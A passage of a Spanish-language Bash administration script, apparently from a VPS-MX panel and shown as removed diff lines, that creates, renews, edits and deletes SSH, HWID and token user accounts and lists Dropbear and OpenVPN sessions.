- err_fun 3 && continue
- elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$usuario")" ]]; then
- err_fun 14 && continue
- fi
- break
- done
- while true; do
- msg -ne "$(fun_trans "Ingrese El HWID")"
- read -p ": " hwid
- if [[ -z $hwid ]]; then
- err_fun 4 && continue
- elif [[ "${#hwid}" -lt "29" ]]; then
- err_fun 5 && continue
- elif [[ "${#hwid}" -gt "36" ]]; then
- err_fun 6 && continue
- fi
- break
- done
- while true; do
- msg -ne "$(fun_trans "Tiempo de Duracion")"
- read -p ": " diasuser
- if [[ -z "$diasuser" ]]; then
- err_fun 7 && continue
- elif [[ "$diasuser" != +([0-9]) ]]; then
- err_fun 8 && continue
- elif [[ "$diasuser" -gt "360" ]]; then
- err_fun 9 && continue
- fi
- break
- done
- clear
- echo ""
- msg -bar
- add_hwid "${usuario}" "${hwid}" "${diasuser}"
- msg -ne "$(fun_trans "  >> IP"): " && echo -e "$(meu_ip)"
- msg -ne "$(fun_trans "  >> Usuario"): " && echo -e "$usuario"
- msg -ne "$(fun_trans "  >> HWID"): " && echo -e "$hwid"
- msg -ne "$(fun_trans "  >> Dias de Duracion"): " && echo -e "$diasuser"
- msg -ne "$(fun_trans "  >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- new_token () {
- clear
- clear
- msg -bar
- usuarios_ativo=($(cat ${tokens}|cut -d'|' -f1))
- usuarios_ativos=('' $(mostrar_token))
- if [[ -z ${usuarios_ativos[@]} ]]; then
- msg -tit
- msg -ama "   AGREGAR USUARIO TOKEN| Ningun Usuario Registrado"
- msg -bar
- else
- msg -tit
- msg -ama "  AGREGAR USUARIO TOKEN| Usuarios  Activos en Servidor"
- msg -bar
- for us in $(echo ${usuarios_ativos[@]}); do
- msg -ne " >> Usuario: " && echo "${us}"
- done
- msg -bar
- fi
- while true; do
- msg -ne "$(fun_trans "Nombre Del Usuario")"
- read -p ": " usuario
- usuario="$(echo $usuario|sed -e 's/[^a-z0-9 -]//ig')"
- if [[ -z $usuario ]]; then
- err_fun 1 && continue
- elif [[ "${#usuario}" -lt "3" ]]; then
- err_fun 2 && continue
- elif [[ "${#usuario}" -gt "12" ]]; then
- err_fun 3 && continue
- elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$usuario")" ]]; then
- err_fun 14 && continue
- fi
- break
- done
- while true; do
- msg -ne "$(fun_trans "Ingrese su TOKEN")"
- read -p ": " toke
- if [[ -z $toke ]]; then
- err_fun 4 && continue
- elif [[ "${#toke}" -lt "6" ]]; then
- err_fun 5 && continue
- elif [[ "${#toke}" -gt "36" ]]; then
- err_fun 6 && continue
- fi
- break
- done
- while true; do
- msg -ne "$(fun_trans "Tiempo de Duracion")"
- read -p ": " diasuser
- if [[ -z "$diasuser" ]]; then
- err_fun 7 && continue
- elif [[ "$diasuser" != +([0-9]) ]]; then
- err_fun 8 && continue
- elif [[ "$diasuser" -gt "360" ]]; then
- err_fun 9 && continue
- fi
- break
- done
- clear
- echo ""
- msg -bar
- add_token "${usuario}" "${toke}" "${diasuser}"
- msg -ne "$(fun_trans "  >> IP"): " && echo -e "$(meu_ip)"
- msg -ne "$(fun_trans "  >> Usuario"): " && echo -e "$usuario"
- msg -ne "$(fun_trans "  >> TOKEN"): " && echo -e "$toke"
- msg -ne "$(fun_trans "  >> Dias de Duracion"): " && echo -e "$diasuser"
- msg -ne "$(fun_trans "  >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- renew_user_fun () {
- datexp=$(date "+%F" -d " + $2 days") && valid=$(date '+%C%y-%m-%d' -d " + $2 days")
- chage -E $valid $1 2> /dev/null || return 1
- [[ -e ${USRdatabase} ]] && {
- newbase=$(cat ${USRdatabase}|grep -w -v "$1")
- useredit=$(cat ${USRdatabase}|grep -w "$1")
- pass=$(echo $useredit|cut -d'|' -f2)
- limit=$(echo $useredit|cut -d'|' -f4)
- echo "$1|$pass|${datexp}|$limit" > ${USRdatabase}
- for value in `echo ${newbase}`; do
- echo $value >> ${USRdatabase}
- done
- }
- }
- edit_user_fun () {
- (echo "$2" ; echo "$2" ) |passwd $1 > /dev/null 2>&1 || return 1
- datexp=$(date "+%F" -d " + $3 days") && valid=$(date '+%C%y-%m-%d' -d " + $3 days")
- chage -E $valid $1 2> /dev/null || return 1
- [[ -e ${USRdatabase} ]] && {
- newbase=$(cat ${USRdatabase}|grep -w -v "$1")
- echo "$1|$2|${datexp}|$4" > ${USRdatabase}
- for value in `echo ${newbase}`; do
- echo $value >> ${USRdatabase}
- done
- } || echo "$1|$2|${datexp}|$4" > ${USRdatabase}
- }
- rm_user () {
- userdel --force "$1" &>/dev/null || return 1
- sed -i "/$1/d" ${USRdatabase}
- }
- rm_hwid () {
- userdel --force "$1" &>/dev/null || return 1
- sed -i "/$1/d" ${USRdatabaseh}
- }
- rm_token () {
- userdel --force "$1" &>/dev/null || return 1
- sed -i "/$1/d" ${tokens}
- }
- mostrar_usuarios () {
- for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do
- echo "$u"
- done
- }
- dropbear_pids () {
- local pids
- local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
- local NOREPEAT
- local reQ
- local Port
- while read port; do
- reQ=$(echo ${port}|awk '{print $1}')
- Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}')
- [[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue
- NOREPEAT+="$Port\n"
- case ${reQ} in
- dropbear)
- [[ -z $DPB ]] && local DPB=""
- DPB+="$Port ";;
- esac
- done <<< "${portasVAR}"
- [[ ! -z $DPB ]] && echo -e $DPB
- local port_dropbear="$DPB"
- cat /var/log/auth.log|tail -1000 > /var/log/authday.log
- local log=/var/log/authday.log
- local loginsukses='Password auth succeeded'
- [[ -z $port_dropbear ]] && return 1
- for port in `echo $port_dropbear`; do
- for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do
- pids="${pids}$pidx\n"
- done
- done
- for pid in `echo -e "$pids"`; do
- pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
- i=0
- for pidend in $pidlogs; do
- let i++
- done
- if [[ $pidend ]]; then
- login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses")
- PID=$pid
- user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"`
- waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}')
- [[ -z $user ]] && continue
- echo "$user|$PID|$waktu"
- fi
- done
- }
- openvpn_pids () {
- byte () {
- while read B dummy; do
- [[ "$B" -lt 1024 ]] && echo "${B} bytes" && break
- KB=$(((B+512)/1024))
- [[ "$KB" -lt 1024 ]] && echo "${KB} Kb" && break
- MB=$(((KB+512)/1024))
- [[ "$MB" -lt 1024 ]] && echo "${MB} Mb" && break
- GB=$(((MB+512)/1024))
- [[ "$GB" -lt 1024 ]] && echo "${GB} Gb" && break
- echo $(((GB+512)/1024)) terabytes
- done
- }
- for user in $(mostrar_usuarios); do
- user="$(echo $user|sed -e 's/[^a-z0-9 -]//ig')"
- [[ ! $(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log) ]] && continue
- i=0
- unset RECIVED; unset SEND; unset HOUR
- while read line; do
- IDLOCAL=$(echo ${line}|cut -d',' -f2)
- RECIVED+="$(echo ${line}|cut -d',' -f3)+"
- SEND+="$(echo ${line}|cut -d',' -f4)+"
- DATESEC=$(date +%s --date="$(echo ${line}|cut -d',' -f5|cut -d' ' -f1,2,3,4)")
- TIMEON="$(($(date +%s)-${DATESEC}))"
- MIN=$(($TIMEON/60)) && SEC=$(($TIMEON-$MIN*60)) && HOR=$(($MIN/60)) && MIN=$(($MIN-$HOR*60))
- HOUR+="${HOR}h:${MIN}m:${SEC}s\n"
- let i++
- done <<< "$(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log)"
- RECIVED=$(echo $(echo ${RECIVED}0|bc)|byte)
- SEND=$(echo $(echo ${SEND}0|bc)|byte)
- HOUR=$(echo -e $HOUR|sort -n|tail -1)
- echo -e "$user|$i|$RECIVED|$SEND|$HOUR"
- done
- }
- err_fun () {
- case $1 in
- 1)msg -verm "$(fun_trans "Usuario Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 2)msg -verm "$(fun_trans "Usuario con nombre muy corto")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 3)msg -verm "$(fun_trans "Usuario con nombre muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 4)msg -verm "$(fun_trans "Contraseña Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 5)msg -verm "$(fun_trans "Contraseña muy corta")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 6)msg -verm "$(fun_trans "Contraseña muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 7)msg -verm "$(fun_trans "Duracion Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 8)msg -verm "$(fun_trans "Duracion invalida utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 9)msg -verm "$(fun_trans "Duracion maxima y de un año")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 11)msg -verm "$(fun_trans "Limite Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 12)msg -verm "$(fun_trans "Limite invalido utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 13)msg -verm "$(fun_trans "Limite maximo de 999")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 14)msg -verm "$(fun_trans "Usuario Ya Existe")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 15)msg -verm "$(fun_trans "la contraseña que ingreso ya existe,deve de ingresarlo diferente o igual que el nombre del usuario")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- esac
- }
- new_user () {
- clear
- clear
- msg -bar
- usuarios_ativos=('' $(mostrar_user))
- usuarios_pass=$(cat ${USRdatabase}|cut -d'|' -f2)
- if [[ -z ${usuarios_ativos[@]} ]]; then
- msg -tit
- msg -ama "   AGREGAR USUARIO | Ningun Usuario Registrado"
- msg -bar
- else
- msg -tit
- msg -ama "  AGREGAR USUARIO | Usuarios  Activos en Servidor"
- msg -bar
- for us in $(echo ${usuarios_ativos[@]}); do
- msg -ne "  >> Usuario: " && echo "${us}"
- done
- msg -bar
- fi
- while true; do
- msg -ne "$(fun_trans "Nombre Del Nuevo Usuario")"
- read -p ": " nomeuser
- nomeuser="$(echo $nomeuser|sed -e 's/[^a-z0-9 -]//ig')"
- if [[ -z $nomeuser ]]; then
- err_fun 1 && continue
- elif [[ "${#nomeuser}" -lt "4" ]]; then
- err_fun 2 && continue
- elif [[ "${#nomeuser}" -gt "24" ]]; then
- err_fun 3 && continue
- elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$nomeuser")" ]]; then
- err_fun 14 && continue
- fi
- break
- done
- while true; do
- msg -ne "$(fun_trans "Contraseña Del Nuevo Usuario")"
- read -p ": " senhauser
- if [[ -z $senhauser ]]; then
- err_fun 4 && continue
- elif [[ "${#senhauser}" -lt "6" ]]; then
- err_fun 5 && continue
- elif [[ "${#senhauser}" -gt "20" ]]; then
- err_fun 6 && continue
- elif [[ "$(echo ${usuarios_pass[@]}|grep -w "$senhauser")" ]]; then
- err_fun 15 && continue
- fi
- break
- done
- while true; do
- msg -ne "$(fun_trans "Tiempo de Duracion del Nuevo Usuario")"
- read -p ": " diasuser
- if [[ -z "$diasuser" ]]; then
- err_fun 7 && continue
- elif [[ "$diasuser" != +([0-9]) ]]; then
- err_fun 8 && continue
- elif [[ "$diasuser" -gt "360" ]]; then
- err_fun 9 && continue
- fi
- break
- done
- while true; do
- msg -ne "$(fun_trans "Limite de Conexiones del Nuevo Usuario")"
- read -p ": " limiteuser
- if [[ -z "$limiteuser" ]]; then
- err_fun 11 && continue
- elif [[ "$limiteuser" != +([0-9]) ]]; then
- err_fun 12 && continue
- elif [[ "$limiteuser" -gt "999" ]]; then
- err_fun 13 && continue
- fi
- break
- done
- echo ""
- clear
- add_user "${nomeuser}" "${senhauser}" "${diasuser}" "${limiteuser}" #&& msg -ama "$(fun_trans "            Usuario Creado con Exito")" || msg -verm "$(fun_trans "         Error, Usuario no creado")"
- msg -bar
- msg -ne "$(fun_trans "  >> IP del Servidor"): " && echo -e "$(meu_ip)"
- msg -ne "$(fun_trans "  >> Usuario"): " && echo -e "$nomeuser"
- msg -ne "$(fun_trans "  >> Contraseña"): " && echo -e "$senhauser"
- msg -ne "$(fun_trans "  >> Dias de Duracion"): " && echo -e "$diasuser"
- msg -ne "$(fun_trans "  >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
- msg -ne "$(fun_trans "  >> Limite de Conexion"): " && echo -e "$limiteuser"
- [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && newclient "$nomeuser" "$senhauser"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- menu_crearuser(){
- clear
- msg -bar
- msg -tit
- msg -ama " \e[1;33m[1] \e[37mCREAR CUENTA NORMAL \e[0m \n \e[1;33m[2] \e[37mCREAR CUENTA HWID \e[0m\n \e[1;33m[3] \e[37mCREAR CUENTA TOKEN \e[0m\n \e[1;31m[0] \e[1;37m<- VOLVER"
- msg -bar
- read -p " $(echo -e "\e[1;37mSeleccione Una Opcion [1/3]:\e[1;33m") " cuen
- case $cuen in
- 1)new_user;;
- 2)new_hwid;;
- 3)new_token;;
- 0) ;;
- esac
- }
- remove_user () {
- clear
- clear
- msg -bar
- usuarios_ativos=('' $(mostrar_user))
- msg -ama "$(fun_trans "REMOVER USUARIOS")"
- msg -bar
- data_user
- msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
- msg -bar
- unset selection
- while [[ -z ${selection} ]]; do
- msg -azu "$(fun_trans "Seleccione Una Opcion"): " && read selection
- tput cuu1 && tput dl1
- done
- [[ ${selection} = "0" ]] && return
- if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
- usuario_del="${usuarios_ativos[$selection]}"
- else
- usuario_del="$selection"
- fi
- [[ -z $usuario_del ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- msg -ama "$(fun_trans "Usuario Seleccionado"): $usuario_del"
- pkill -u $usuario_del
- droplim=`droppids|grep -w "$usuario_del"|awk '{print $2}'`
- kill -9 $droplim &>/dev/null
- rm_user "$usuario_del"
- rm -rf /etc/VPS-MX/VPS-MX-userlock
- rm -rf /etc/VPS-MX/controlador/Limiter.log
- unlockall2
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- remove_allus () {
- clear
- clear
- msg -bar
- usuarios_ativos=($(mostrar_usuarios))
- if [[ -z ${usuarios_ativos[@]} ]]; then
- msg -tit
- msg -verm "$(fun_trans " BORAR USUARIO | Ningun usuario registrado")"
- msg -bar
- return 1
- else
- msg -tit
- msg -ama "$(fun_trans " BORAR USUARIO |  Usuarios Activos del Servidor")"
- msg -bar
- i=0
- for us in $(echo ${usuarios_ativos[@]}); do
- msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
- let i++
- done
- msg -bar
- fi
- msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
- msg -bar
- msg -ama "\033[1;31mSe recomienda desbloquear todas las cuentas \nbloqueadas antes de borrar algun usuario."
- msg -bar
- unset selection
- while [[ -z ${selection} ]]; do
- echo -ne "\033[1;37m$(fun_trans "Seleccione Una Opcion"): " && read selection
- tput cuu1 && tput dl1
- done
- if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
- usuario_del="${usuarios_ativos[$selection]}"
- else
- usuario_del="$selection"
- fi
- [[ -z $usuario_del ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -ne "$usuario_del"
- pkill -u $usuario_del
- droplim=`dropbear_pids|grep -w "$usuario_del"|cut -d'|' -f2`
- kill -9 $droplim &>/dev/null
- rm_user "$usuario_del" && msg -verd " [$(fun_trans "Removido")]" || msg -verm " [$(fun_trans "No Removido")]"
- rm -rf /etc/VPS-MX/VPS-MX-userlock
- rm -rf /etc/VPS-MX/controlador/Limiter.log
- unlockall2
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- remove_hwid () {
- clear
- clear
- red=$(tput setaf 1)
- gren=$(tput setaf 2)
- yellow=$(tput setaf 3)
- msg -bar
- usuarios_ativos=('' $(mostrar_usuario))
- msg -ama "$(fun_trans "REMOVER USUARIOS")"
- msg -bar
- data_hwid
- msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
- msg -bar
- unset selection
- while [[ -z ${selection} ]]; do
- msg -azu "$(fun_trans "Seleccione Una Opcion"): " && read selection
- tput cuu1 && tput dl1
- done
- [[ ${selection} = "0" ]] && return
- if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
- usuario_del="${usuarios_ativos[$selection]}"
- else
- usuario_del="$selection"
- fi
- [[ -z $usuario_del ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- msg -ama "$(fun_trans "Usuario Seleccionado"): $usuario_del"
- pkill -u $usuario_del
- droplim=`droppids|grep -w "$usuario_del"|awk '{print $2}'`
- kill -9 $droplim &>/dev/null
- rm_hwid "$usuario_del"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- remove_token () {
- clear
- clear
- red=$(tput setaf 1)
- gren=$(tput setaf 2)
- yellow=$(tput setaf 3)
- msg -bar
- usuarios_ativos=('' $(mostrar_token))
- msg -ama "$(fun_trans "REMOVER USUARIOS")"
- msg -bar
- data_token
- msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
- msg -bar
- unset selection
- while [[ -z ${selection} ]]; do
- msg -azu "$(fun_trans "Seleccione Una Opcion"): " && read selection
- tput cuu1 && tput dl1
- done
- [[ ${selection} = "0" ]] && return
- if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
- usuario_del="${usuarios_ativos[$selection]}"
- else
- usuario_del="$selection"
- fi
- [[ -z $usuario_del ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- msg -ama "$(fun_trans "Usuario Seleccionado"): $usuario_del"
- pkill -u $usuario_del
- droplim=`droppids|grep -w "$usuario_del"|awk '{print $2}'`
- kill -9 $droplim &>/dev/null
- rm_token "$usuario_del"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- menudel(){
- clear
- msg -bar
- msg -tit
- msg -ama " \e[1;33m[1] \e[1;31mREMOVER CUENTAS SSH  \n \e[1;33m[2] \e[1;31mREMOVER CUENTAS HWID\n \e[1;33m[3] \e[1;31mREMOVER CUENTAS TOKEN\n \e[1;33m[4] \e[1;37mREMOVER CUENTAS SSH,HWID,TOKEN\n \e[1;31m[0] \e[1;37m<- VOLVER"
- msg -bar
- read -p " $(echo -e "\e[1;37mSeleccione Una Opcion [1/3]:\e[1;33m") " cuen
- case $cuen in
- 1)remove_user;;
- 2)remove_hwid;;
- 3)remove_token;;
- 4)remove_allus;;
- 0) ;;
- esac
- }
- renew_user () {
- clear
- clear
- msg -bar
- usuarios_ativos=($(mostrar_usuarios))
- if [[ -z ${usuarios_ativos[@]} ]]; then
- msg -tit
- msg -verm "$(fun_trans " EDITAR USUARIO | Ningun usuario registrado")"
- msg -bar
- return 1
- else
- msg -tit
- msg -ama "$(fun_trans " EDITAR USUARIO | Usuarios Activos en el Servidor")"
- msg -bar
- i=0
- for us in $(echo ${usuarios_ativos[@]}); do
- msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
- let i++
- done
- msg -bar
- fi
- msg -ama "$(fun_trans "Escriba o seleccione un Usuario")"
- msg -bar
- unset selection
- while [[ -z ${selection} ]]; do
- echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
- tput cuu1
- tput dl1
- done
- if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
- useredit="${usuarios_ativos[$selection]}"
- else
- useredit="$selection"
- fi
- [[ -z $useredit ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$useredit") ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- while true; do
- msg -ne "Nuevo Tiempo de Duracion de:\033[1;33m $useredit"
- read -p ": " diasuser
- if [[ -z "$diasuser" ]]; then
- echo -e '\n\n\n'
- err_fun 7 && continue
- elif [[ "$diasuser" != +([0-9]) ]]; then
- echo -e '\n\n\n'
- err_fun 8 && continue
- elif [[ "$diasuser" -gt "360" ]]; then
- echo -e '\n\n\n'
- err_fun 9 && continue
- fi
- break
- done
- msg -bar
- renew_user_fun "${useredit}" "${diasuser}" && msg -ama "$(fun_trans "Usuario Modificado Con Exito")" || msg -verm "$(fun_trans "Error, Usuario no Modificado")"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- edit_user () {
- clear
- clear
- msg -bar
- usuarios_ativos=($(mostrar_usuarios))
- if [[ -z ${usuarios_ativos[@]} ]]; then
- msg -tit
- msg -verm "$(fun_trans " EDITTAR USER | Ningun usuario registrado")"
- msg -bar
- return 1
- else
- msg -tit
- msg -ama "$(fun_trans " EDITTAR USER | Usuarios Activos del Servidor")"
- msg -bar
- i=0
- for us in $(echo ${usuarios_ativos[@]}); do
- msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
- let i++
- done
- msg -bar
- fi
- msg -ama "$(fun_trans "Escriba o seleccione un Usuario")"
- msg -bar
- unset selection
- while [[ -z ${selection} ]]; do
- echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
- tput cuu1; tput dl1
- done
- if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
- useredit="${usuarios_ativos[$selection]}"
- else
- useredit="$selection"
- fi
- [[ -z $useredit ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$useredit") ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- while true; do
- msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -e "$useredit"
- msg -ne "Nueva Contraseña de:\033[1;33m $useredit"
- read -p ": " senhauser
- if [[ -z "$senhauser" ]]; then
- err_fun 4 && continue
- elif [[ "${#senhauser}" -lt "6" ]]; then
- err_fun 5 && continue
- elif [[ "${#senhauser}" -gt "20" ]]; then
- err_fun 6 && continue
- fi
- break
- done
- while true; do
- msg -ne "Dias de Duracion de:\033[1;33m $useredit"
- read -p ": " diasuser
- if [[ -z "$diasuser" ]]; then
- err_fun 7 && continue
- elif [[ "$diasuser" != +([0-9]) ]]; then
- err_fun 8 && continue
- elif [[ "$diasuser" -gt "360" ]]; then
- err_fun 9 && continue
- fi
- break
- done
- while true; do
- msg -ne "Nuevo Limite de Conexion de:\033[1;33m $useredit"
- read -p ": " limiteuser
- if [[ -z "$limiteuser" ]]; then
- err_fun 11 && continue
- elif [[ "$limiteuser" != +([0-9]) ]]; then
- err_fun 12 && continue
- elif [[ "$limiteuser" -gt "999" ]]; then
- err_fun 13 && continue
- fi
- break
- done
- tput cuu1 && tput dl1
- tput cuu1 && tput dl1
- tput cuu1 && tput dl1
- tput cuu1 && tput dl1
- msg -ne "$(fun_trans " >> Usuario"): " && echo -e "$useredit"
- msg -ne "$(fun_trans " >> Contraseña"): " && echo -e "$senhauser"
- msg -ne "$(fun_trans " >> Dias de Duracion"): " && echo -e "$diasuser"
- msg -ne "$(fun_trans " >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
- msg -ne "$(fun_trans " >> Limite de Conexion"): " && echo -e "$limiteuser"
- msg -bar
- edit_user_fun "${useredit}" "${senhauser}" "${diasuser}" "${limiteuser}" && msg -ama "$(fun_trans "Usuario Modificado Con Exito")" && rm -rf ${SCPusr}/Limiter.log || msg -verm "$(fun_trans "Error, Usuario nao Modificado")"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- data_hwid(){
- clear
- msg -bar
- msg -tit
- msg -ama "$(fun_trans "        INFORMACION DE USUARIOS HWID REGISTRADOS ")"
- msg -bar
- cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'hwid'|grep -v 'syslog')
- dat_us=$(printf '%-20s%-12s%-8s%s' 'Cliente' 'Fecha' 'Dias' 'Statu')
- msg -azu "  N°  $dat_us"
- msg -bar
- i=1
- for u in `echo "${cat_users}"|awk -F ':' '{print $1}'`; do
- fix_hwid_token=$(echo "${cat_users}"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f1) && [[ "${fix_hwid_token}" != @(hwid) ]] && continue
- fecha=$(chage -l "$u"|sed -n '4p'|awk -F ': ' '{print $2}')
- mes_dia=$(echo $fecha|awk -F ',' '{print $1}'|sed 's/ //g')
- ano=$(echo $fecha|awk -F ', ' '{printf $2}'|cut -c 3-)
- us=$(printf '%-12s' "$u")
- pass=$(cat "/etc/passwd"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f2)
- [[ "${#pass}" -gt '12' ]] && pass="Desconocida"
- pass="$(printf '%-19s' "$pass")"
- unset stat
- if [[ $(passwd --status $u|cut -d ' ' -f2) = "P" ]]; then
- stat="$(msg -verd "◉ ")"
- else
- stat="$(msg -verm2 "📵 ")"
- fi
- echo -ne "  $(msg -verd "$i)")$(msg -verm2 "-") $(msg -azu "${pass}")"
- if [[ $(echo $fecha|awk '{print $2}') = "" ]]; then
- exp="$(printf '%8s%-2s' '[X]')"
- exp+="$(printf '%-6s' '[X]')"
- echo " $(msg -verm2 "$fecha")$(msg -verd "$exp")$(echo -e "$stat")"
- else
- if [[ $(date +%s) -gt $(date '+%s' -d "${fecha}") ]]; then
- exp="$(printf '%-5s' "Exp")"
- echo " $(msg -verm2 "$mes_dia/$ano")  $(msg -verm2 "$exp")$(echo -e "$stat")"
- else
- EXPTIME="$(($(($(date '+%s' -d "${fecha}") - $(date +%s))) / 86400))"
- if [[ "${#EXPTIME}" = "1" ]]; then
- exp="$(printf '%6s%-7s' "$EXPTIME")"
- elif [[ "${#EXPTIME}" = "2" ]]; then
- exp="$(printf '%7s%-6s' "$EXPTIME")"
- else
- exp="$(printf '%7s%-5s' "$EXPTIME")"
- fi
- echo " $(msg -verm2 "$mes_dia/$ano")$(msg -verd "$exp")$(echo -e "$stat")"
- fi
- fi
- echo -e "      $(msg -ama "HWID:") $(msg -azu "${us}")"
- msg -bar3
- let i++
- done
- msg -bar
- }
- data_token(){
- clear
- msg -bar
- msg -tit
- msg -ama "$(fun_trans "        INFORMACION DE USUARIOS TOKEN REGISTRADOS ")"
- msg -bar
- cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'token'|grep -v 'syslog')
- dat_us=$(printf '%-20s%-12s%-8s%s' 'Cliente' 'Fecha' 'Dias' 'Statu')
- msg -azu "  N°  $dat_us"
- msg -bar
- i=1
- for u in `echo "${cat_users}"|awk -F ':' '{print $1}'`; do
- fix_hwid_token=$(echo "${cat_users}"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f1) && [[ "${fix_hwid_token}" != @(hwid) ]] && continue
- fecha=$(chage -l "$u"|sed -n '4p'|awk -F ': ' '{print $2}')
- mes_dia=$(echo $fecha|awk -F ',' '{print $1}'|sed 's/ //g')
- ano=$(echo $fecha|awk -F ', ' '{printf $2}'|cut -c 3-)
- us=$(printf '%-12s' "$u")
- pass=$(cat "/etc/passwd"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f2)
- [[ "${#pass}" -gt '12' ]] && pass="Desconocida"
- pass="$(printf '%-19s' "$pass")"
- unset stat
- if [[ $(passwd --status $u|cut -d ' ' -f2) = "P" ]]; then
- stat="$(msg -verd "◉ ")"
- else
- stat="$(msg -verm2 "📵 ")"
- fi
- echo -ne "  $(msg -verd "$i)")$(msg -verm2 "-") $(msg -azu "${pass}")"
- if [[ $(echo $fecha|awk '{print $2}') = "" ]]; then
